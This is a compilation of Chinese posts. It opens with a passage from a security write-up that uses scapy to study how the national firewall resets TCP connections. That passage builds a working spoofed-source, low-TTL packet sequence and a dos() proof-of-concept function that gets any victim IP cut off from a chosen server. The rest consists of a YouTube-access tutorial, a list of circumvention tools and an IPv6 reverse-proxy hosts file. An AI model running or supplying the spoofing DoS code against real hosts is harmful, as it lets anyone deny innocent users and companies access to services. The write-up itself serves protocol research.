>>>send(IP(dst=”64.233.189.103″)/TCP(dport=80,sport=57474,flags=”P”,seq=945149829)/”We are 80sec,play with packets”)

就会向Google的服务器发送一个源端口是57474，序列号是945149829的push包了，包的内容就是We are 80sec。
这里测试的基本想法是，我们对一个想要攻击的ip如121.121.121.121，想使他不能访问google的服务器64.233.189.103， 就可以想办法伪造一个它的ip通过这个神奇的设备并且触发规则就可以了。得益于国内运营商对数据包的来源有效性不会做任何限制，可以随便伪造别的IP的数 据包发到指定的地方，同样得益于此的还有欣欣向荣的ddos行业，所以我们只要想办法触发这个神奇的设备的规则就是了。
先进行最简单的：

>>> send(IP(dst=”64.233.189.103″,src=”121.121.121.121″)/TCP(dport=80,sport=57474,flags=”P”,seq=945149829)/”/?q=freenet/freenet”)

这是一个完全扯淡的数据包，全部都是伪造的，如果这个数据包会触发规则的话，那么121.121.121.121就不能访问64.233.189.103这个Google的ip了，结果显而易见，没有任何影响。我们继续来测试，发送:

>>> send(IP(dst=”64.233.189.103″)/TCP(dport=80,sport=57474,flags=”P”,seq=945149829)/”/?q=freenet/freenet”)

同时在本机抓包以得到服务器的响应，一旦成功我们就可以把源IP换成想要攻击的IP了，发出去后只能抓到自己出去的包，没有任何服务端的响应，自然不包括这个神奇的设备的，抓包如下：

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
00:41:29.014316 IP (tos 0×0, ttl 64, id 1, offset 0, flags [none], proto: TCP (6), length: 59) 114.249.114.249.57474 > 64.233.189.103.80: P, cksum 0×9fb7 (correct), 945149829:945149848(19) win 8192

这个包不只这个神奇的设备忽略了，Google服务器也忽略了，这里我换了个测试环境，因为我处于NAT的环境，为了可以直接伪造所有的ip包，我 使用了朋友的服务器做测试，好处就是伪造的ip不会被NAT防火墙丢弃也不会给我转换我的端口序列号之类。我测试了Syn，Ack等包，都发现数据包顺利 的到达了Google服务器，不过没有违反这个神奇的设备的规则。
看来这个神奇的设备还是有一些防范策略，没有想象中那样直接检测push包，起码是能对非法的，无效的TCP链接进行识别。很佩服防火墙的伟大，这么大的 流量还能做到这种程度，公司内部的防火墙那么点流量还吱呀吱呀响呢，猜测没有用，回忆前面提到的，能控制一个TCP链接需要的几个元素，我们需要五元组， 测试看看，我们先建立一条正常的到Google的链接，并且抓取五元组来测试：

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
d00:49:38.694884 IP (tos 0×0, ttl 64, id 55469, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60931 > 64.233.189.103.80: S, cksum 0×188c (correct), 3664548093:3664548093(0) win 5840
00:49:38.745534 IP (tos 0×0, ttl 51, id 57212, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.103.80 > 114.249.114.249.60931: S, cksum 0×40d4 (correct), 2550448670:2550448670(0) ack 3664548094 win 5672
00:49:38.745546 IP (tos 0×0, ttl 64, id 55470, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60931 > 64.233.189.103.80: ., cksum 0×8548 (correct), 3664548094:3664548094(0) ack 2550448671 win 46

呵呵，然后我们构造一个接近真实的五元组都正确的链接，只有序列号是错误的：

>>> send(IP(dst=”64.233.189.103″)/TCP(dport=80,sport=60931,flags=”P”,seq=123456)/”/?q=freenet/freenet”)

服务器返回

00:52:12.606688 IP (tos 0×0, ttl 64, id 1, offset 0, flags [none], proto: TCP (6), length: 59) 114.249.114.249.60931 > 64.233.189.103.80: P, cksum 0xbfcf (correct), 123456:123475(19) win 8192
00:52:12.657154 IP (tos 0×0, ttl 51, id 57212, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.103.80 > 114.249.114.249.60931: ., cksum 0×2be4 (correct), 2550448671:2550448671(0) ack 3664548094 win 89

数据包顺利的通过了这个神奇的设备，Google还给我们发来了纠正序列号的ack包。这个时候我就很惊奇了，对一条链接真实性的验证可以不只到达 五元组程度，甚至可以到达序列号的级别，而它所做的地方是在国家的主干上，这几乎是不可想象的。这个时候思考这个神奇的设备的实现方式，可能是维护一个链 接的状态表，并且对这个表的所有状态进行实时跟踪，但这样他就太吊了，这个时候开始想到用一些畸形包来测试防火墙的机制。
从前面知道，我们到Google服务器的TTL是14跳，也就是如果我们发初始TTL小于14的话，按照TTL的基本原理，请求是不会达到Google的 服务器的，如果我们控制TTL=12的话甚至可以将包通过这个神奇的设备但是不到达服务器，这个时候我们知道，如果我们在两侧放置自己的机器，在另外一侧 可以伪造成Google的服务器，在自己这一侧伪造成目标的IP，控制TTL让两端的机器互相通迅触发规则，直到被这个神奇的设备列入灰名单，但是真正的 被伪造的IP却不会知道发生了什么。这个思路肯定可以成功，但是之前我们可以试试其他的，毕竟我没有国外的机器，有不有可能在一端发数据包就可以实现将别 的IP列入灰名单呢？我在尝试这个神奇的设备跟踪链接时的设计时找到了答案。前面我们知道，这个神奇的设备对一个请求的跟踪能够达到序列号级别，这是不可 思议的事情，因为计算量和数据量太大了，那个时候我就怀疑这个神奇的设备会不会对数据包做验证，那样会增加计算量，对于骨干级的设备来说不可接受的，万一 判断完之后真正的服务器已经返回了就麻烦了。同时，由于这个神奇的设备架构的设计，我们能控制数据包的出口，但是实际上数据包的返回的时候走的是可能完全 不同的一条路由，所以不可能对请求的跟踪做到双向跟踪，这里的跟踪完全可能是一种虚拟行为的，对发起请求一端的校验。这里的测试也很简单，也证明了我的结 论：

>>> send(IP(dst=”64.233.189.103″,ttl=10)/TCP(dport=80,sport=2222,flags=”S”,seq=1234567))
>>> send(IP(dst=”64.233.189.103″,ttl=10)/TCP(dport=80,sport=2222,flags=”A”,seq=1234568))
>>> send(IP(dst=”64.233.189.103″,ttl=10)/TCP(dport=80,sport=2222,flags=”P”,seq=1234568)/”GET /search?hl=en&source=hp&q=freenet/freenet&oq=&aqi=1 HTTP/1.1
\r\nHOST: www.google.com\r\n\r\n\r\n”)

注意我在伪造ttl的时候使用ttl=10，这个时候可以避免数据包传到真正的Google服务器，服务器返回ack的时候被伪造的IP会发rst 重置链接而导致发起数据失败，防火墙会看到这个rst包而认为后面的push包已经过时。通过发出上面的这三个伪造的数据包，我们就可以让 64.233.189.103对我的IP不可访问，可以看到其中的包括源端口，目的端口，序列号都是我自己定义的，在防火墙看来，就是我在跟 64.233.189.103发起非法链接，毕竟它只能完全信任我，它没有其他的可以信任:)，想让121.121.121.121不能访问Google 的80端口只需要发送下面三个包：

>>> send(IP(dst=”64.233.189.103″,src=”121.121.121.121″,ttl=10)/TCP(dport=80,sport=2222,flags=”S”,seq=1234567))
>>> send(IP(dst=”64.233.189.103″,src=”121.121.121.121″,ttl=10)/TCP(dport=80,sport=2222,flags=”A”,seq=1234568))
>>> send(IP(dst=”64.233.189.103″,src=”121.121.121.121″,ttl=10)/TCP(dport=80,sport=2222,flags=”P”,seq=1234568)/”GET /q=freenet/freenet&oq=&aqi=1 HTTP/1.1″)

甚至可以利用这个对其他的应用如gtalk进行dos，我们只要知道某个公司的出口ip，然后罗列gtalk的使用ip和端口就可以做到，非常简单，现在很多的网站往国外搬，那你有不有考虑本文提到的风险呢？有的公司甚至将Mail服务器放置在国外……
但是也可以看到，我们已经实现将后续的链接断开，因为tcp链接序列号的未知性，利用上面提到的貌似还不能让已经建立完成的tcp链接reset，但实际 上这款有爱的过滤系统已经帮我们想到了，同时用nc跟Google建立两个链接，在其中一个链接里触发规则，然后在另一个无辜的链接只要被防火墙发现，就 会立刻被reset了，看如下的抓包：

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
20:26:52.574643 IP (tos 0×0, ttl 64, id 55786, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60949 > 64.233.189.147.80: S, cksum 0×339b (correct), 1962684567:1962684567(0) win 5840
20:26:52.617778 IP (tos 0×0, ttl 51, id 15574, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.147.80 > 114.249.114.249.60949: S, cksum 0×8801 (correct), 4247640462:4247640462(0) ack 1962684568 win 5672
20:26:52.617791 IP (tos 0×0, ttl 64, id 55787, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60949 > 64.233.189.147.80: ., cksum 0xcc7d (correct), 1962684568:1962684568(0) ack 4247640463 win 46

20:27:00.456284 IP (tos 0×0, ttl 64, id 60678, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60979 > 64.233.189.147.80: S, cksum 0×5ebc (correct), 1983571278:1983571278(0) win 5840
20:27:00.499066 IP (tos 0×0, ttl 51, id 4036, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.147.80 > 114.249.114.249.60979: S, cksum 0xc1d9 (correct), 816454471:816454471(0) ack 1983571279 win 5672
20:27:00.499074 IP (tos 0×0, ttl 64, id 60679, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60979 > 64.233.189.147.80: ., cksum 0×0656 (correct), 1983571279:1983571279(0) ack 816454472 win 46

20:27:18.827802 IP (tos 0×0, ttl 64, id 60680, offset 0, flags [DF], proto: TCP (6), length: 77) 114.249.114.249.60979 > 64.233.189.147.80: P, cksum 0×02a9 (incorrect (-> 0xd051), 1983571279:1983571304(25) ack 816454472 win 46
20:27:18.870912 IP (tos 0×0, ttl 51, id 4036, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 > 114.249.114.249.60979: ., cksum 0×76b1 (correct), 816454472:816454472(0) ack 1983571304 win 89
20:27:19.289520 IP (tos 0×0, ttl 64, id 60681, offset 0, flags [DF], proto: TCP (6), length: 53) 114.249.114.249.60979 > 64.233.189.147.80: P, cksum 0×0291 (incorrect (-> 0×6b05), 1983571304:1983571305(1) ack 816454472 win 46
20:27:19.334402 IP (tos 0×0, ttl 51, id 4037, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 > 114.249.114.249.60979: ., cksum 0×7315 (correct), 816454472:816454472(0) ack 1983571305 win 89
20:27:19.338648 IP (tos 0×0, ttl 52, id 64, offset 0, flags [none], proto: TCP (6), length: 40) 64.233.189.147.80 > 114.249.114.249.60979: R, cksum 0×0142 (correct), 816454472:816454472(0) win 29119

20:27:37.856781 IP (tos 0×0, ttl 64, id 55788, offset 0, flags [DF], proto: TCP (6), length: 67) 114.249.114.249.60949 > 64.233.189.147.80: P, cksum 0×029f (incorrect (-> 0×4d19), 1962684568:1962684583(15) ack 4247640463 win 46
20:27:37.900887 IP (tos 0×0, ttl 51, id 15574, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 > 114.249.114.249.60949: ., cksum 0×6aa0 (correct), 4247640463:4247640463(0) ack 1962684583 win 89
20:27:37.911380 IP (tos 0×0, ttl 52, id 64, offset 0, flags [none], proto: TCP (6), length: 40) 64.233.189.147.80 > 114.249.114.249.60949: R, cksum 0xd646 (correct), 4247640463:4247640463(0) win 4621

这个时候抓包的时候由于我换了服务器注意ttl已经跟之前不一样了，但是那个id=64露出了尾巴，前面三个包是第一个tcp链接，端口是60949，后 面一个链接的端口是60979，下面的是60979触发规则被reset掉了，然后本来正常的第二个链接一旦发出了数据包就立刻被reset，充分证明了 这个联动的迅速和及时：）
那我们就有了满篇废话之后的一个简单的结论，dos国内和国外的链接是可能的，无论是建立好的还是未建立的，在scapy里的poc函数如下：

def dos(srcip, dstip , tport ):
send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags=”S”,seq=3334567))
send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags=”A”,seq=3334568))
send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags=”P”,seq=3334568)/”GET /?q=freenet/freenet HTTP/1.1\r\n\r\n”)
dos(”114.249.114.249″,”64.233.189.103″,80);

最后再说说前面的问题，如何在数据包完全被伪造的时候判断设备的物理位置，很明显，还是利用TTL：

>>> send(IP(dst=”64.233.189.103″,src=”121.121.121.121″,ttl=8)/TCP(dport=80,sport=2222,flags=”P”,seq=1234568)/”GET /q=freenet/freenet&oq=&aqi=1 HTTP/1.1″)

在ttl=8的时候，我们依然收到了系统的重置包，这样就可以判断数据包被旁路的位置了：）

0×03 后话

从技术角度来讲，避免这种方式的攻击会比较困难，防火墙作为一个安全设备是不能对正常的使用造成影响的，所以检测的方式来说还是比较被动，譬如不能实时的 丢弃一个数据包，前面我就很奇怪为什么防火墙不直接丢弃发起链接的syn包或者发起非法链接的psh包呢，这是因为防火墙整个架构和设计造成的，整个数据 包已经到达服务器了，他不能丢弃。同样，由于架构的原因，我们无法使同一条tcp的数据流永远经过同一个路由器同一个设备，所以我们无法对一个数据包的有 效性做验证，而即使可以验证整个请求的有效性也可以看到，在防火墙两侧一起愚弄防火墙是多么容易的事情，跟以前的反弹穿透防火墙一样，利用ttl的差异我 们一样可以bypass掉对一个数据包做真实的有效性验证，这里包括其他厂商的如Cisco等设备都可能会有这种问题。我不知道对于一个设备来说，抛弃一 个ttl过小的包是否明智，防火墙是旁路在设备里，也无法对ttl比较小的包做到实时的丢弃，一旦发现发现有ttl过小的包肯定不能直接放过，因为可能别 人就利用这个来bypass防火墙，那么必须对ttl过小的包做处理，处理包括响应rst链接要求重置，这的确会缓解本文提到的问题，但是不知道这么复杂 的逻辑会不会带来新的问题，逻辑可能本身就是漏洞。在TTL之外，而相信其他的畸形的数据包一样可能造成设备处理上的失误，只要服务器和设备对数据包处理 不一致就可以实现，而这种不一致性因为种种原因是非常多的。本文只是对学习的网络知识做了一次实践，感谢历来帮助我学习的同学，你们知道你们是谁：）

不用翻墙一样能看Youtube

作者：John Smith   来源：推客浏览器

文中的方法适用于Windows/Linux/Mac OS X系统，文中以Ubuntu 9.10 和Firefox/Chromium浏览器为例。

Youtube上有很多不错的资源，比如YouTube EDU，在这里可以看到世界各地著名大学的公开课程，可惜在国内已经无法通过正常手段访问Youtube了，不过通过TubeWall-2这个插件，无需翻墙就能看到Youtube上的视频。

一．安装TubeWall-2

1.在Firefox浏览器上安装TubeWall-2

1.1 想在Firefox(以下简称为Fx)浏览器下使用TubeWall-2，首先需要安装Greasemonkey(油猴)插件，如果你已经安装过Greasemonkey插件，可以跳过这一步。

到https://addons.mozilla.org/zh-CN/firefox/addon/748下载并安装Greasemonkey插件。打开网页后，点击页面中的”添加到Firefox”(图1)，接着在弹出的窗口中点击”立即安装” (图2)。待下载安装完毕后点击”重新启动Firefox”重启Fx(图3)。

图1

图2

图3

1.2 安装TubeWall-2脚本

到http://userscripts.org/scripts/show/62296 下载并安装TubeWall-2脚本。打开网页后，点击页面右上方的”Install”按钮(图4)，接着在弹出的窗口中点击”安装”按钮(图5)，待Fx右下角显示”TubeWall-2安装成功”即表示安装已完成(图6)。

图4

图5

图6

2.在Chrome/Chromium浏览器上安装TubeWall-2

相对Fx来说，在Chrome/Chromium下安装TubeWall-2就要简单多了，打开TubeWall-2的安装页面http://userscripts.org/scripts/show/62296， 点击页面中的”Install”按钮，接着Chrome/Chromium会弹出一个警告，点击”Continue”(继续) (图7)。接着在弹出的窗口中点击”Install”(安装)确认安装(图8)。安装完毕点击浏览器右上角的扳手按钮并点击”Extensions”(扩 展)，就可以看到插件的状态了(图9)。

图7

图8

图9

二．使用TubeWall-2

到http://tubewall.zobyhost.com/wp/点 击网页上方的草地(图10)，在出现的窗口中输入你要搜索的视频名称然后点击”Search”按钮开始搜索(图11)，接着在搜索结果中点击视频的标题就 可以在线观看了(图12)，如果你的网速很慢，或者想将视频下载到本地保存，也可以点击”Download”按钮，并选择你要下载的格式和图像质量 (“High Quality (MP4)”高画质MP4格式，”Standard(FLV)”标准画质Flash格式，”fmt=5(FLV)”这个我不知道是什么意思，我猜是低画质 Flash格式)将视频下载到本地(图13)。

图10

图11

图12

图13

GFWFREE：翻墙工具下载

来源：http://docs.google.com/Doc?docid=0AXAMxZUcct0HZGRwZng2NmZfMjM2aHE5NHNkc3g&hl=en&pli=1

Free Gate 6.91 : http://rapidshare.com/files/329542611/fg691p.zip

Wujie 9.91: http://rapidshare.com/files/329548722/u991.zip

Gtunnel : http://rapidshare.com/files/329549076/GTunnel.zip

Puff：http://rapidshare.com/files/329549571/setup_puff_003x_________.zip

Tor Browser: http://rapidshare.com/files/329554624/Tor_Browser.rar

AutoProxy (FireFox addon): https://addons.mozilla.org/zh-CN/firefox/addon/11009

GFW Blog: http://www.chinagfw.org/

备注：

1、建议通过 Google Reader 订阅专门介绍翻墙工具的博客 GFW Blog，并且在阅读的时候把 Google Reader URL 上的 "http" 改成 "https"；

2、我个人主要使用 Tor Browser，因为听说自由门和无界这些工具会被监控；

3、AutoProxy 是一个火狐附加组件，可以配合多种翻墙工具使用火狐浏览器翻墙；

4、Rapidshare 的下载速度并不快，希望你能代为传播这些翻墙工具，让更多的人不再被困在墙内；

5、这份列表会不定期更新。

IPv6反向代理（IPV6 Reverse Proxy to GFWed Websites）

来源：http://docs.google.com/View?id=dgjxsxws_148fvpz6wdg

IPV6 Reverse Proxy to GFWed Websites

Enjoy this present and do not guess who I am.
Just do what I can to help all college students in China.

RULE NUMBER ONE:
NEVER EVER COMPLAIN IF IT DOESN'T WORK FOR YOU.

If your website is GFWed,click HERE!

This present is free for everyone, but if you can donate a little money, I may rent a better server to provide more.
Click HERE to donate $0.1 (yes it's not a big amount.)
No,without any donations I still can provide this service to everyone. :-)

For the owner of websites being reverse-proxied, you can specify your domain's AAAA record to ip 2001:470:83f2::710:1 in your domain name setting page.
If you did this, please contact me using this form in case I changed this IP.




If you have any websites needs to be reverse-proxied,click HERE to submit.
NEVER EVER SUBMIT ANY WEBSITE INSIDE CHINA, OR WEBSITES NOT GFWED!

Google provides its own ipv6 "reverse proxy", please refer to this page:
http://docs.google.com/Doc?docid=0ARhAbsvps1PlZGZrZG14bnRfNjFkOWNrOWZmcQ

Post the content of this page to anywhere you can, and give the source address: http://aa.cx/ipv6-reverse-proxy

HOWTO edit hosts file:
If you don't know how to edit hosts file, then you'd better stay inside the wall.

Why there's no blogspot?
Please refer to this link:
http://docs.google.com/Doc?docid=0ARhAbsvps1PlZGZrZG14bnRfNjFkOWNrOWZmcQ

Why there's no vimeo？
I can reverse-proxy vimeo's server except for av.vimeo.com(which is the stream caching server,reverse-proxying this server will use too much traffic of my reverse proxy), but it is meaningless right?

Why I got "An error occured,please try again later" when watching youtube?
That's not my reverse-proxy's fault, it's google's.
Try to refresh the page some minutes later.
Or you can delete this line in your hosts file,just use the ipv4 connection:
2001:4860:c004::68 qwqy.vp.video.l.google.com

Update:
100107:2008xianzhang.info
100107:spaces.live.com
100107:www.rfa.org
100106:torrents.thepiratebay.org
100103:some extra domains of thepiratebay.com
100103:zuola.com
100101:wretch.cc(ATTENTION!)
091231:media.voanews.com
091231:boxun.com
091231:facebook.com(FINALLY!ATTENTION!)
091230:rfi.fr
091230:rfa.org
091229:thepiratebay.org
091227:bullogger.com(ATTENTION!)
091227:en.wikipedia.org
091226:www1.voanews.com
091226:www.dwnews.com
091225:twitgoo.com
091222:youtube cache server(ATTENTION!)
091221:node1.bbcimg.co.uk
091221:www.bbc.co.uk
091219:twimg.com
091219:zh.wikiquote.org
091217:static.plurk.com
091216:twitpic.com
091215:avatars.plurk.com
091215:upload.wikimedia.org
091213:www.chinagfw.org

091212:my.opera.com
091211:zh.wikipedia.org
091211:friendfeed.com/ff.im（ATTENTION!）
091211:posterous.com（ATTENTION!）
091210:www.xys.org
091210:mitbbs.com
091210:news.bbc.co.uk
091208:plurk.com（ATTENTION!）
091208:j.mp/bit.ly
091208:meme.yahoo.com
091207:mail-archive.com
091207:twitter.com（ATTENTION!）

2001:470:83f2::710:1 twitter.com search.twitter.com api.twitter.com www.twitter.com m.twitter.com
2001:470:83f2::710:1 www.mail-archive.com mail-archive.com
2001:470:83f2::710:1 meme.yahoo.com
2001:470:83f2::710:1 bit.ly j.mp
2001:470:83f2::710:1 www.plurk.com m.plurk.com plurk.com statics.plurk.com avatars.plurk.com static.plurk.com
2001:470:83f2::710:1 news.bbc.co.uk www.bbc.co.uk node1.bbcimg.co.uk
2001:470:83f2::710:1 www.mitbbs.com friends.mitbbs.com radio.mitbbs.com
2001:470:83f2::710:1 www.xys.org xys.org
2001:470:83f2::710:1 posterous.com www.posterous.com files.posterous.com
2001:470:83f2::710:1 friendfeed.com ff.im
2001:470:83f2::710:1 zh.wikipedia.org upload.wikimedia.org

2001:470:83f2::710:1 my.opera.com
2001:470:83f2::710:1 www.chinagfw.org
2001:470:83f2::710:1 twitpic.com
2001:470:83f2::710:1 zh.wikiquote.org en.wikipedia.org
2001:470:83f2::710:1 s.twimg.com a0.twimg.com a1.twimg.com a2.twimg.com a3.twimg.com
2001:470:83f2::710:1 twitgoo.com
2001:470:83f2::710:1 www.dwnews.com
2001:470:83f2::710:1 www1.voanews.com media.voanews.com
2001:470:83f2::710:1 www.bullogger.com
2001:470:83f2::710:1 thepiratebay.org static.thepiratebay.org captcha.thepiratebay.org torrents.thepiratebay.org
2001:470:83f2::710:1 rfa.org www.rfa.org
2001:470:83f2::710:1 rfi.fr www.rfi.fr
2001:470:83f2::710:1 facebook.com www.facebook.com m.facebook.com touch.facebook.com profile.ak.fbcdn.net static.ak.fbcdn.net
2001:470:83f2::710:1 boxun.com www.boxun.com news.boxun.com
2001:470:83f2::710:1 wretch.cc www.wretch.cc
2001:470:83f2::710:1 zuola.com
2001:470:83f2::710:1 freemorenews.com archive.freemorenews.com www.freemorenews.com





2001:470:83f2::710:1 v1.lscache1.c.youtube.com
2001:470:83f2::710:1 v1.lscache2.c.youtube.com
2001:470:83f2::710:1 v1.lscache3.c.youtube.com
2001:470:83f2::710:1 v1.lscache4.c.youtube.com
2001:470:83f2::710:1 v1.lscache5.c.youtube.com
2001:470:83f2::710:1 v1.lscache6.c.youtube.com
2001:470:83f2::710:1 v1.lscache7.c.youtube.com
2001:470:83f2::710:1 v1.lscache8.c.youtube.com
2001:470:83f2::710:1 v2.lscache1.c.youtube.com
2001:470:83f2::710:1 v2.lscache2.c.youtube.com
2001:470:83f2::710:1 v2.lscache3.c.youtube.com
2001:470:83f2::710:1 v2.lscache4.c.youtube.com
2001:470:83f2::710:1 v2.lscache5.c.youtube.com
2001:470:83f2::710:1 v2.lscache6.c.youtube.com
2001:470:83f2::710:1 v2.lscache7.c.youtube.com
2001:470:83f2::710:1 v2.lscache8.c.youtube.com
2001:470:83f2::710:1 v3.lscache1.c.youtube.com
2001:470:83f2::710:1 v3.lscache2.c.youtube.com
2001:470:83f2::710:1 v3.lscache3.c.youtube.com
2001:470:83f2::710:1 v3.lscache4.c.youtube.com
2001:470:83f2::710:1 v3.lscache5.c.youtube.com
2001:470:83f2::710:1 v3.lscache6.c.youtube.com
2001:470:83f2::710:1 v3.lscache7.c.youtube.com
2001:470:83f2::710:1 v3.lscache8.c.youtube.com
2001:470:83f2::710:1 v4.lscache1.c.youtube.com
2001:470:83f2::710:1 v4.lscache2.c.youtube.com
2001:470:83f2::710:1 v4.lscache3.c.youtube.com
2001:470:83f2::710:1 v4.lscache4.c.youtube.com
2001:470:83f2::710:1 v4.lscache5.c.youtube.com
2001:470:83f2::710:1 v4.lscache6.c.youtube.com
2001:470:83f2::710:1 v4.lscache7.c.youtube.com
2001:470:83f2::710:1 v4.lscache8.c.youtube.com
2001:470:83f2::710:1 v5.lscache1.c.youtube.com
2001:470:83f2::710:1 v5.lscache2.c.youtube.com
2001:470:83f2::710:1 v5.lscache3.c.youtube.com
2001:470:83f2::710:1 v5.lscache4.c.youtube.com
2001:470:83f2::710:1 v5.lscache5.c.youtube.com
2001:470:83f2::710:1 v5.lscache6.c.youtube.com
2001:470:83f2::710:1 v5.lscache7.c.youtube.com
2001:470:83f2::710:1 v5.lscache8.c.youtube.com
2001:470:83f2::710:1 v6.lscache1.c.youtube.com
2001:470:83f2::710:1 v6.lscache2.c.youtube.com
2001:470:83f2::710:1 v6.lscache3.c.youtube.com
2001:470:83f2::710:1 v6.lscache4.c.youtube.com
2001:470:83f2::710:1 v6.lscache5.c.youtube.com
2001:470:83f2::710:1 v6.lscache6.c.youtube.com
2001:470:83f2::710:1 v6.lscache7.c.youtube.com
2001:470:83f2::710:1 v6.lscache8.c.youtube.com
2001:470:83f2::710:1 v7.lscache1.c.youtube.com
2001:470:83f2::710:1 v7.lscache2.c.youtube.com
2001:470:83f2::710:1 v7.lscache3.c.youtube.com
2001:470:83f2::710:1 v7.lscache4.c.youtube.com
2001:470:83f2::710:1 v7.lscache5.c.youtube.com
2001:470:83f2::710:1 v7.lscache6.c.youtube.com
2001:470:83f2::710:1 v7.lscache7.c.youtube.com
2001:470:83f2::710:1 v7.lscache8.c.youtube.com
2001:470:83f2::710:1 v8.lscache1.c.youtube.com
2001:470:83f2::710:1 v8.lscache2.c.youtube.com
2001:470:83f2::710:1 v8.lscache3.c.youtube.com
2001:470:83f2::710:1 v8.lscache4.c.youtube.com
2001:470:83f2::710:1 v8.lscache5.c.youtube.com
2001:470:83f2::710:1 v8.lscache6.c.youtube.com
2001:470:83f2::710:1 v8.lscache7.c.youtube.com
2001:470:83f2::710:1 v8.lscache8.c.youtube.com
2001:470:83f2::710:1 v9.lscache1.c.youtube.com
2001:470:83f2::710:1 v9.lscache2.c.youtube.com
2001:470:83f2::710:1 v9.lscache3.c.youtube.com
2001:470:83f2::710:1 v9.lscache4.c.youtube.com
2001:470:83f2::710:1 v9.lscache5.c.youtube.com
2001:470:83f2::710:1 v9.lscache6.c.youtube.com
2001:470:83f2::710:1 v9.lscache7.c.youtube.com
2001:470:83f2::710:1 v9.lscache8.c.youtube.com
2001:470:83f2::710:1 v10.lscache1.c.youtube.com
2001:470:83f2::710:1 v10.lscache2.c.youtube.com
2001:470:83f2::710:1 v10.lscache3.c.youtube.com
2001:470:83f2::710:1 v10.lscache4.c.youtube.com
2001:470:83f2::710:1 v10.lscache5.c.youtube.com
2001:470:83f2::710:1 v10.lscache6.c.youtube.com
2001:470:83f2::710:1 v10.lscache7.c.youtube.com
2001:470:83f2::710:1 v10.lscache8.c.youtube.com
2001:470:83f2::710:1 v11.lscache1.c.youtube.com
2001:470:83f2::710:1 v11.lscache2.c.youtube.com
2001:470:83f2::710:1 v11.lscache3.c.youtube.com
2001:470:83f2::710:1 v11.lscache4.c.youtube.com
2001:470:83f2::710:1 v11.lscache5.c.youtube.com
2001:470:83f2::710:1 v11.lscache6.c.youtube.com
2001:470:83f2::710:1 v11.lscache7.c.youtube.com
2001:470:83f2::710:1 v11.lscache8.c.youtube.com
2001:470:83f2::710:1 v12.lscache1.c.youtube.com
2001:470:83f2::710:1 v12.lscache2.c.youtube.com
2001:470:83f2::710:1 v12.lscache3.c.youtube.com
2001:470:83f2::710:1 v12.lscache4.c.youtube.com
2001:470:83f2::710:1 v12.lscache5.c.youtube.com
2001:470:83f2::710:1 v12.lscache6.c.youtube.com
2001:470:83f2::710:1 v12.lscache7.c.youtube.com
2001:470:83f2::710:1 v12.lscache8.c.youtube.com
2001:470:83f2::710:1 v13.lscache1.c.youtube.com
2001:470:83f2::710:1 v13.lscache2.c.youtube.com
2001:470:83f2::710:1 v13.lscache3.c.youtube.com
2001:470:83f2::710:1 v13.lscache4.c.youtube.com
2001:470:83f2::710:1 v13.lscache5.c.youtube.com
2001:470:83f2::710:1 v13.lscache6.c.youtube.com
2001:470:83f2::710:1 v13.lscache7.c.youtube.com
2001:470:83f2::710:1 v13.lscache8.c.youtube.com
2001:470:83f2::710:1 v14.lscache1.c.youtube.com
2001:470:83f2::710:1 v14.lscache2.c.youtube.com
2001:470:83f2::710:1 v14.lscache3.c.youtube.com
2001:470:83f2::710:1 v14.lscache4.c.youtube.com
2001:470:83f2::710:1 v14.lscache5.c.youtube.com
2001:470:83f2::710:1 v14.lscache6.c.youtube.com
2001:470:83f2::710:1 v14.lscache7.c.youtube.com
2001:470:83f2::710:1 v14.lscache8.c.youtube.com
2001:470:83f2::710:1 v15.lscache1.c.youtube.com
2001:470:83f2::710:1 v15.lscache2.c.youtube.com
2001:470:83f2::710:1 v15.lscache3.c.youtube.com
2001:470:83f2::710:1 v15.lscache4.c.youtube.com
2001:470:83f2::710:1 v15.lscache5.c.youtube.com
2001:470:83f2::710:1 v15.lscache6.c.youtube.com
2001:470:83f2::710:1 v15.lscache7.c.youtube.com
2001:470:83f2::710:1 v15.lscache8.c.youtube.com
2001:470:83f2::710:1 v16.lscache1.c.youtube.com
2001:470:83f2::710:1 v16.lscache2.c.youtube.com
2001:470:83f2::710:1 v16.lscache3.c.youtube.com
2001:470:83f2::710:1 v16.lscache4.c.youtube.com
2001:470:83f2::710:1 v16.lscache5.c.youtube.com
2001:470:83f2::710:1 v16.lscache6.c.youtube.com
2001:470:83f2::710:1 v16.lscache7.c.youtube.com
2001:470:83f2::710:1 v16.lscache8.c.youtube.com
2001:470:83f2::710:1 v17.lscache1.c.youtube.com
2001:470:83f2::710:1 v17.lscache2.c.youtube.com
2001:470:83f2::710:1 v17.lscache3.c.youtube.com
2001:470:83f2::710:1 v17.lscache4.c.youtube.com
2001:470:83f2::710:1 v17.lscache5.c.youtube.com
2001:470:83f2::710:1 v17.lscache6.c.youtube.com
2001:470:83f2::710:1 v17.lscache7.c.youtube.com
2001:470:83f2::710:1 v17.lscache8.c.youtube.com
2001:470:83f2::710:1 v18.lscache1.c.youtube.com
2001:470:83f2::710:1 v18.lscache2.c.youtube.com
2001:470:83f2::710:1 v18.lscache3.c.youtube.com
2001:470:83f2::710:1 v18.lscache4.c.youtube.com
2001:470:83f2::710:1 v18.lscache5.c.youtube.com
2001:470:83f2::710:1 v18.lscache6.c.youtube.com
2001:470:83f2::710:1 v18.lscache7.c.youtube.com
2001:470:83f2::710:1 v18.lscache8.c.youtube.com
2001:470:83f2::710:1 v19.lscache1.c.youtube.com
